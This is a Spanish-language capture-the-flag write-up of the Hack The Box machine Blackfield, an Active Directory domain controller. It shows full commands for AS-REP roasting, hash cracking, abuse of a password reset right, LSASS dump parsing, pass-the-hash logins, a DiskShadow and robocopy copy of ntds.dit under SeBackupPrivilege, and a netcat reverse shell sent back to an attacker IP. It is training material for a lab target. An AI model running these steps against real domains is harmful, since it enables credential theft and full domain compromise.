En este post voy a vulnerar la máquina Blackfield de Hack the Box. Es una máquina Windows, de nivel difícil y basada en Directorio Activo, bastante educativa ya que cubre diversos conceptos de Directorio Activo.
Enumeración
Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.10.192 -Pn

En la máquina hay ocho puertos abiertos. Escaneo todos los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p53,88,135,389,445,593,3268,5985 -sC -sV 10.10.10.192 -Pn Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-22 15:56 CET Nmap scan report for 10.10.10.192 Host is up (0.11s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-22 22:12:13Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h15m39s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2022-02-22T22:12:23 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.02 seconds

Por último, ejecuto crackmapexec sobre el servicio smb para ver el sistema operativo y el nombre de host.
crackmapexec smb 10.10.10.192

El nombre de host es DC01 y, según la aplicación, se trata de un Windows 10 pero al ser un Directorio Activo seguramente se trate de un Windows Server 2019.
SMB – Puerto 445
Enumero las unidades compartidas con smbmap dentro de su dominio por defecto y encuentro, además de las habituales, un disco llamado forensic y otro llamado profiles$ en el que tengo permisos de lectura.
Primero intento hacer la enumeración sin credenciales pero no obtengo resultados. Después lo vuelvo intentar añadiendo un usuario aleatorio y consigo ver la información.
smbmap -H 10.10.10.192 -u 'qwerty' smbmap -H 10.10.10.192 -u 'qwerty' -r 'profiles$'

Accedo al directorio profiles$ y veo una lista de entre 200 y 300 directorios que parecen nombres de usuario.
smbmap -H 10.10.10.192 -u 'qwerty' -r 'profiles$'

Copio la lista entera de usuarios y los guardo en un fichero.
cat raw_users | awk '{print $8}' > users

Ahora que tengo una lista de posibles nombres de usuario, voy a comprobar cuales de ellos son cuentas del sistema. Como se está ejecutando kerberos por el puerto 88 puedo averiguar los usuarios del sistema usando Kerbrute (también podría usar GetNPUsers.py pero me gusta mas como muestra la información Kerbrute).
kerbrute userenum --dc 10.10.10.192 -d blackfield.local users

Como se ve en la imagen anterior, encuentro los usuarios audit2020, support, svc_backup.
Explotación
Ahora que tengo varios nombres de usuario voy a intentar obtener hashes o contraseñas para esos usuarios. Podría intentar obtenerlos utilizando la técnica Kerberoast pero voy usar la técnica ASREProast o AS-Rep Roasting (mas info aquí) que, aunque ya la utilicé en la maquina forest, voy a realizarla de una forma distinta.
Ejecuto GetNPUsers.py de impacket para realizar este ataque y obtengo un hash para el usuario support.
GetNPUsers.py -usersfile users -no-pass -dc-ip 10.10.10.192 blackfield/

Guardo este hash en un fichero y lo rompo por fuerza bruta con John The Ripper y rockyou.txt, obteniendo las credenciales support:#00^BlackKnight.
john --wordlist=/usr/share/wordlists/rockyou.txt arphash

Pruebo las credenciales en smb con crackmapexec y veo que son correctas.
crackmapexec smb blackfield.local -u 'support' -p '#00^BlackKnight' 10.10.10.192

Tras volver a acceder a smb para ver las unidades compartidas no obtengo ninguna información nueva.
Como no encuentro ningún vector de ataque, voy a utilizar BloodHound, en su versión en python, con las credenciales que he obtenido para enumerar los usuarios, grupos, dominios y ordenadores que aparecen dentro del Directorio Activo.
bloodhound-python -c all -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local


Ahora voy a subir los cuatro ficheros generados en BloodHound.
Primero ejecuto una consola neo4j.
sudo neo4j console

Después inicio la herramienta y me autentico.
bloodhound

Cargo los ficheros generados en la herramienta y espero a que se complete la carga de todos.


Despliego el menú de la derecha de BloodHound, abro la pestaña de Analysis, selecciono la opción Find AS-REP Roastable Users (DontReqPreAuth) y me aparecerá el usuario SUPPORT@BLACKFIELD.LOCAL.

Hago click derecho sobre y selecciono la opción SUPPORT@BLACKFIELD.LOCAL Mark User as Owned. Esto hará que aparezca una calavera sobre el usuario.


Una vez hecho esto, en la pestaña Node Info, me dirjo a la sección OUTBOUND CONTROL RIGHTS y selecciono la opción First Degree Object Control.


Como resultado, me muestra que el usuario support tiene privilegios para cambiar la contraseña del usuario audit2020. Cambio la contraseña a Qwerty123$ y compruebo con crackmapexec que me sirve para autenticarme en smb.
net rpc password audit2020 -U 'support%#00^BlackKnight' -S 10.10.10.192 crackmapexec smb blackfield.local -u 'audit2020' -p 'Qwerty123$' 10.10.10.192

He generado las credenciales, para smb, audit2020:Qwerty123$.
Compruebo las unidades compartidas de smb para el usuario audit2020 y veo que ahora puedo acceder al disco forensic.
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Qwerty123$'

Navego un poco por le directorio y, en la ruta /forensic/memory_analysis encuentro un fichero llamado lsass.zip que seguramente sea una copia del procesos LSASS.
LSASS es el servicio de subsistema de autoridad de seguridad local en Windows que maneja las políticas de autenticación y seguridad. Básicamente, contiene todo tipo de información de autenticación en su espacio de memoria.
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Qwerty123$' -r 'forensic/memory_analysis'

Me descargo el fichero lsass.zip, lo descomprimo y me aparece un fichero llamado lsass.DMP.
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Qwerty123$' --download 'forensic/memory_analysis/lsass.zip' unzip 10.10.10.192-forensic_memory_analysis_lsass.zip


Extraigo las credenciales del fichero con la herramienta pypykatz y obtengo el HASH NT 9658d1d1dcd9250115e2205d9f48400d para el usuario svc_backup.
pypykatz lsa minidump lsass.DMP

Pruebo esta credencial en smb y en winrm. Esta credencial es válida para ambos servicios, pero me sirve para autenticarme en el sistema a través del protocolo winrm.
crackmapexec smb blackfield.local -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' 10.10.10.192 crackmapexec winrm blackfield.local -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' 10.10.10.192

Obtengo una shell de WinRM, con estas credenciales, utilizando evil-winrm.
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Escalada de Privilegios
Comienzo enumerando la información del usuario y veo que mi usuario se encuentra dentro del grupo Domain Users, así que este usuario me vale para hacerme con el DC.
net user svc_backup

Enumero los privilegios de mi usuario y veo que tiene habilitado SeBackupPrivilege que me permite hacer copias de seguridad de cualquier fichero o directorio .
whoami /priv

Voy a aprovechar este privilegio para crear una copia del fichero ntds.dit.
ntds.dit es un fichero de Directorio Activo (AD) donde se almacenan, entre otras cosas, los hashes de los usuarios del sistema, es decir, es la base de datos del Directorio Activo de un Controlador de Dominio (DC). Este fichero equivale al SAM en un Directorio Activo.
Comienzo creando un directorio en la raíz de C:, al que llamo Temp, hago una copia del fichero SYSTEM y me lo descargo a mi máquina atacante.
reg save HKLM\system system dir download C:\Temp\system

Intento repetir el proceso con el fichero ntds.dit pero no me lo permite así que intento volcar el fichero utilizando DiskShadow (mas info aquí).
La web puede parecer que no tiene información, pero lo que pasa realmente es que esta escrito en color blanco sobre un fondo blanco…
En primer lugar tengo que crear un fichero en texto plano con el siguiente contenido
set context persistent nowriters
add volume c: alias evilpwn
create
expose %evilpwn% z:
Por alguna razón, necesita un espacio adicional al final de cada línea; de lo contrario, la sombra del disco elimina un carácter y el comando deja de ser válido


Este código lo que hace es crear una unidad lógica, llamdaa z:, dentro del sistema en la que haremos la copia de seguridad del la unidad c:.
Subo el fichero a la máquina víctima.

Sigo las instrucciones de la web y ejecuto diskshadow.
diskshadow.exe /s c:\Temp\privesc.txt

Con esto ya he hecho el backup de c:.

Ahora puedo hacer la copia de ntds.dit. Uso el comando robocopy con el indicador /b para ignorar los permisos de archivo y copiar el fichero.
robocopy /b z:\windows\ntds . ntds.dit


Me descargo el fichero, lo abro con el script secretdump.py de impacket y obtengo el hash LM del Administrador del dominio.
secretsdump.py -system system -ntds ntds.dit LOCAL

Compruebo esta credencial con crackmapexec y veo que me sirve para autenticarme en el sistema.
crackmapexec smb blackfield.local -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee' 10.10.10.192

Como son válidas, las utilizo para establecer una shell a través de evil-winrm como usuario administrador.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

OSCP Shell
Aunque haya conseguido una consola de WinRM como administrador, este tipo de consola no es válida para OSCP ya que exigen que los hashes se muestren en una shell reversa de cmd o powershell pero no dicen nada de que no puedas obtener esa consola al final de haber comprometido la máquina…
Para conseguir una shell reversa consola válida para OSCP, en primer lugar pongo un netcat a la escucha por el puerto 443.
rlwrap nc -nlvp 443
Subo un binario de netcat a la máquina víctima y lo lanzo contra mi máquina atacante, indicándole que ejecute powershell.
upload nc64.exe ./nc64.exe 10.10.14.9 443 -e powershell.exe

Flags
User.txt
La flag de usuario la encuentro en la ruta C:\Users\svc_backup\Desktop\user.txt.

Root.txt
La flag de root la encuentro en C:\Users\Administrator\Desktop\root.txt.

